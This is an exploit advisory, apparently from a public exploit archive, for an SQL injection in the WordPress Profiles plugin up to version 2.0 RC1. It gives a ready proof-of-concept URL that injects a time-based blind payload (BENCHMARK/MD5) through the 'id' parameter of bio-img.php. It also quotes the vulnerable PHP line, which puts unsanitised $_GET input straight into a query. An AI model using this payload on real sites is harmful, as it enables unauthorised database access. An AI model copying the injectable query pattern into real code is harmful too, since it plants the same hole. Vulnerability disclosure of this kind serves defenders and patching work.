WordPress Plugin Profiles 2.0 RC1 - SQL Injection

# Exploit Title: WordPress Profiles plugin <= 2.0 RC1 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/profiles.2.0.RC1.zip
# Version: 2.0 RC1 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/profiles/library/bio-img.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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$query = "SELECT * FROM ".$wpdb->prefix."bios WHERE id='$_GET[id]'";
...
$result = mysql_query($query);